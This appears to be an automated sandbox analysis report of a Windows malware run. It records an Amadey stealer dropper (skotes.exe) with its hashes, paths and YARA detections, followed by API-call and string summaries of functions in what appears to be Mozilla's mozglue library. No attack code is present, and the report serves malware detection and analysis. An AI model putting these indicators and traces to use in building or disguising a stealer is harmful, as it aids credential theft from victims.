MD5 hash:	9992A20ADD6571CE7C2B357B425E5445
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.2836667286.0000000000A51000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000003.2796170814.0000000005260000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	18:28:40
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5680 --field-trial-handle=2012,i,2127837589118242186,4315115310641730846,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	18:29:00
Start date:	17/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xa50000
File size:	1'950'720 bytes
MD5 hash:	9992A20ADD6571CE7C2B357B425E5445
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000003.3274019137.0000000004990000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000002.3493419830.0000000000A51000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	18:29:16
Start date:	17/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe"
Imagebase:	0x960000
File size:	4'426'240 bytes
MD5 hash:	3382492D63AFA8096A084F3E4F87ECE9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 39%, ReversingLabs
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	29.2%
Total number of Nodes:	113
Total number of Limit Nodes:	13

Executed Functions

Function 6CA935A0 Relevance: 38.8, APIs: 16, Strings: 6, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CB1F688,00001000), ref: 6CA935D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CA935E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CA935FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CA9363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CA9369F
__aulldiv.LIBCMT ref: 6CA936E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CA93773
EnterCriticalSection.KERNEL32(6CB1F688), ref: 6CA9377E
LeaveCriticalSection.KERNEL32(6CB1F688), ref: 6CA937BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CA937C4
EnterCriticalSection.KERNEL32(6CB1F688), ref: 6CA937CB
LeaveCriticalSection.KERNEL32(6CB1F688), ref: 6CA93801
__aulldiv.LIBCMT ref: 6CA93883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CA93902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CA93918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CA9394C

Strings

GenuntelineI, xrefs: 6CA93639
MOZ_TIMESTAMP_MODE, xrefs: 6CA935DB
GTC, xrefs: 6CA93912
AuthcAMDenti, xrefs: 6CA93946
QPC, xrefs: 6CA938FC
qfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuR, xrefs: 6CA93868, 6CA93873

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC$qfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuR
API String ID: 301339242-2663117974
Opcode ID: 05407ea7460b15f35a20ad068ab08dec451bbaafbff7424e122d1bd211be0d87
Instruction ID: 97eb3e2b191861ee76324ef4e83ad2cfb36f3c19f71890ac9c8b3d6dc47070c5
Opcode Fuzzy Hash: 05407ea7460b15f35a20ad068ab08dec451bbaafbff7424e122d1bd211be0d87
Instruction Fuzzy Hash: 82B1F6B1B193509FDB08DF28C85A65ABBF5FB8A704F04892EE8D9D3B50D7709940CB81

Function 6CAAC930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6CAAC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CAAC969
GetSystemInfo.KERNEL32(?), ref: 6CAAC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CAAC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CAAC9E2

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 0d6db9c64bf321e40e2c23a69c1325a00cb40cbfe59e7d6cc4c980c4c7b1381a
Instruction ID: b0c59072573bd2d418f88402817f4939ae795ba42655e63583c23f898d353d39
Opcode Fuzzy Hash: 0d6db9c64bf321e40e2c23a69c1325a00cb40cbfe59e7d6cc4c980c4c7b1381a
Instruction Fuzzy Hash: AD2129727412186BEB04AAE8CC85BAE73BDAB46708F50011EF907A7F40DB319C84C795

Function 6CA93060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CA93095

Part of subcall function 6CA935A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CB1F688,00001000), ref: 6CA935D5
Part of subcall function 6CA935A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CA935E0
Part of subcall function 6CA935A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CA935FD
Part of subcall function 6CA935A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CA9363F
Part of subcall function 6CA935A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CA9369F
Part of subcall function 6CA935A0: __aulldiv.LIBCMT ref: 6CA936E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA9309F

Part of subcall function 6CAB5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CAB56EE,?,00000001), ref: 6CAB5B85
Part of subcall function 6CAB5B50: EnterCriticalSection.KERNEL32(6CB1F688,?,?,?,6CAB56EE,?,00000001), ref: 6CAB5B90
Part of subcall function 6CAB5B50: LeaveCriticalSection.KERNEL32(6CB1F688,?,?,?,6CAB56EE,?,00000001), ref: 6CAB5BD8
Part of subcall function 6CAB5B50: GetTickCount64.KERNEL32 ref: 6CAB5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CA930BE

Part of subcall function 6CA930F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CA93127
Part of subcall function 6CA930F0: __aulldiv.LIBCMT ref: 6CA93140

Part of subcall function 6CACAB2A: __onexit.LIBCMT ref: 6CACAB30

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: ea65c557d010e5509bb92e3ccf45042c963ad3adac5c012282d9d8926a14ce8d
Instruction ID: 1062404f30af020ed4a770c8a467be960cc06c95e03b1ed4167d6fdb9719fe98
Opcode Fuzzy Hash: ea65c557d010e5509bb92e3ccf45042c963ad3adac5c012282d9d8926a14ce8d
Instruction Fuzzy Hash: FBF0F422E2074897CA10DF7499431EAB3B4AF6B214F101319E89C63E21FB3062DCC382

Non-executed Functions

Function 6CAA5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CAA5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAA54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAA54BE
__Init_thread_footer.LIBCMT ref: 6CAA54DB

Part of subcall function 6CACAB3F: EnterCriticalSection.KERNEL32(6CB1E370,?,?,6CA93527,6CB1F6CC,?,?,?,?,?,?,?,?,6CA93284), ref: 6CACAB49
Part of subcall function 6CACAB3F: LeaveCriticalSection.KERNEL32(6CB1E370,?,6CA93527,6CB1F6CC,?,?,?,?,?,?,?,?,6CA93284,?,?,6CAB56F6), ref: 6CACAB7C

Part of subcall function 6CACCBE8: GetCurrentProcess.KERNEL32(?,6CA931A7), ref: 6CACCBF1
Part of subcall function 6CACCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA931A7), ref: 6CACCBFA

GetCurrentThreadId.KERNEL32 ref: 6CAA54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6CAA5516
GetCurrentThreadId.KERNEL32 ref: 6CAA556A
AcquireSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CAA5577
moz_xmalloc.MOZGLUE(00000070), ref: 6CAA5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6CAA5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6CAA55E6
ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CAA5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAA5616

Part of subcall function 6CACAB89: EnterCriticalSection.KERNEL32(6CB1E370,?,?,?,6CA934DE,6CB1F6CC,?,?,?,?,?,?,?,6CA93284), ref: 6CACAB94
Part of subcall function 6CACAB89: LeaveCriticalSection.KERNEL32(6CB1E370,?,6CA934DE,6CB1F6CC,?,?,?,?,?,?,?,6CA93284,?,?,6CAB56F6), ref: 6CACABD1

GetCurrentThreadId.KERNEL32 ref: 6CAA563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAA5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6CAA567C
free.MOZGLUE(?), ref: 6CAA56AE

Part of subcall function 6CAB5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAB5EDB
Part of subcall function 6CAB5E90: memset.VCRUNTIME140(6CAF7765,000000E5,55CCCCCC), ref: 6CAB5F27
Part of subcall function 6CAB5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAB5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6CAA56E8
GetCurrentThreadId.KERNEL32 ref: 6CAA5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6CAA570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6CAA5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6CAA574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6CAA576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6CAA5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6CAA57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6CAA57CA

Strings

- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6CAA5D2B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CAA54B9
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CAA5766
MOZ_PROFILER_STARTUP, xrefs: 6CAA55E1
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CAA54A3
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6CAA57AE
GeckoMain, xrefs: 6CAA5554, 6CAA55D5
MOZ_BASE_PROFILER_HELP, xrefs: 6CAA5511
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6CAA5D1C
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6CAA5C56
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6CAA584E
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6CAA5CF9
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6CAA5749
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6CAA56E3
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CAA548D
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CAA5791
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6CAA5AC9
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6CAA5D01
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CAA5724
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CAA57C5
[I %d/%d] profiler_init, xrefs: 6CAA564E
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6CAA5D24
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6CAA5717
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6CAA5BBE
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6CAA5B38

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: b9318f3e7168f7a714125a2f39ca3517416286146d142b246e880e611b511d13
Instruction ID: 7fed282b6188370a1f8b3d2a74b42b01426ac6df1fdb693eb7ae4660374e964b
Opcode Fuzzy Hash: b9318f3e7168f7a714125a2f39ca3517416286146d142b246e880e611b511d13
Instruction Fuzzy Hash: 802235B5A04B409FEB009FB5C51976A77F5AF46318F080929F84697F41EB30D88ACB57

Function 6CADB820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6CADB845
AcquireSRWLockExclusive.KERNEL32(6CB1F4B8,?,?,00000000), ref: 6CADB852
ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADB884
InitializeConditionVariable.KERNEL32(?), ref: 6CADB8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6CADB9FD
GetCurrentThreadId.KERNEL32 ref: 6CADBA05
AcquireSRWLockExclusive.KERNEL32(6CB1F4B8,?,?,00000000), ref: 6CADBA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6CADBA27
ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADBA4B
free.MOZGLUE(?), ref: 6CADC9C7
free.MOZGLUE(?), ref: 6CADC9DC

Strings

[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6CADC878
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6CADC7DA

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 9f4ad0366c117bfeeba73d4c3cdae6ce67da9fa167fc08c42e305049a7608e8d
Instruction ID: 6d089f376cffd313ae61401b30d6aea3b7e97a7134ec44ce466b748585c70fb3
Opcode Fuzzy Hash: 9f4ad0366c117bfeeba73d4c3cdae6ce67da9fa167fc08c42e305049a7608e8d
Instruction Fuzzy Hash: 89A28E71A083808FD725CF28D49079BB7F6BFC9314F454A2DE89997750DB70A989CB82

Function 6CAA6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CAA6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CAA6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CAA6D26

Part of subcall function 6CAACA10: malloc.MOZGLUE(?), ref: 6CAACA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CAA6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CAA6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CAA6D73
free.MOZGLUE(00000000), ref: 6CAA6D80
CertGetNameStringW.CRYPT32 ref: 6CAA6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CAA6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CAA6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CAA6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CAA6E10
CryptMsgClose.CRYPT32(00000000), ref: 6CAA6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CAA6E34
CreateFileW.KERNEL32 ref: 6CAA6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CAA6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CAA6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CAA709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CAA7103
free.MOZGLUE(00000000), ref: 6CAA7153
CloseHandle.KERNEL32(?), ref: 6CAA7176
__Init_thread_footer.LIBCMT ref: 6CAA7209
__Init_thread_footer.LIBCMT ref: 6CAA723A
__Init_thread_footer.LIBCMT ref: 6CAA726B
__Init_thread_footer.LIBCMT ref: 6CAA729C
__Init_thread_footer.LIBCMT ref: 6CAA72DC
__Init_thread_footer.LIBCMT ref: 6CAA730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CAA73C2
VerSetConditionMask.NTDLL ref: 6CAA73F3
VerSetConditionMask.NTDLL ref: 6CAA73FF
VerSetConditionMask.NTDLL ref: 6CAA7406
VerSetConditionMask.NTDLL ref: 6CAA740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CAA741A
moz_xmalloc.MOZGLUE(?), ref: 6CAA755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CAA7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CAA7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CAA7598
free.MOZGLUE(00000000), ref: 6CAA75AC

Part of subcall function 6CACAB89: EnterCriticalSection.KERNEL32(6CB1E370,?,?,?,6CA934DE,6CB1F6CC,?,?,?,?,?,?,?,6CA93284), ref: 6CACAB94
Part of subcall function 6CACAB89: LeaveCriticalSection.KERNEL32(6CB1E370,?,6CA934DE,6CB1F6CC,?,?,?,?,?,?,?,6CA93284,?,?,6CAB56F6), ref: 6CACABD1

Strings

wintrust.dll, xrefs: 6CAA72CD
CryptCATAdminReleaseCatalogContext, xrefs: 6CAA72C8
(, xrefs: 6CAA768A
SHA256, xrefs: 6CAA6EC0

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 6948b94de97eba5393272ce780f4569939c06352b5231aaaa30a2dd0cdbaaf04
Instruction ID: 51d79007db7c712d454713389b175df1f64d70f9824e850b11962a15ca4df895
Opcode Fuzzy Hash: 6948b94de97eba5393272ce780f4569939c06352b5231aaaa30a2dd0cdbaaf04
Instruction Fuzzy Hash: FD52D1B1A00254DFEB21DF64CC85BAB77B9EB45718F144199E908E7A40DB30AEC6CF91

Function 6CAC6FF0 Relevance: 92.6, APIs: 39, Strings: 12, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB1E7DC), ref: 6CAC7019
LeaveCriticalSection.KERNEL32(6CB1E7DC), ref: 6CAC7061
EnterCriticalSection.KERNEL32(?), ref: 6CAC71A4
LeaveCriticalSection.KERNEL32(?), ref: 6CAC721D
memcpy.VCRUNTIME140(?,?,?), ref: 6CAC723E
EnterCriticalSection.KERNEL32(?), ref: 6CAC726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6CAC72B2
LeaveCriticalSection.KERNEL32(?), ref: 6CAC733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6CAC73E8
LeaveCriticalSection.KERNEL32(?), ref: 6CAC961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAC9622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CAC9642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CAC964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CAC96CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CAC96DB
AcquireSRWLockExclusive.KERNEL32(6CB1E804), ref: 6CAC9747
GetSystemInfo.KERNEL32(?), ref: 6CAC9792
__Init_thread_footer.LIBCMT ref: 6CAC97A5
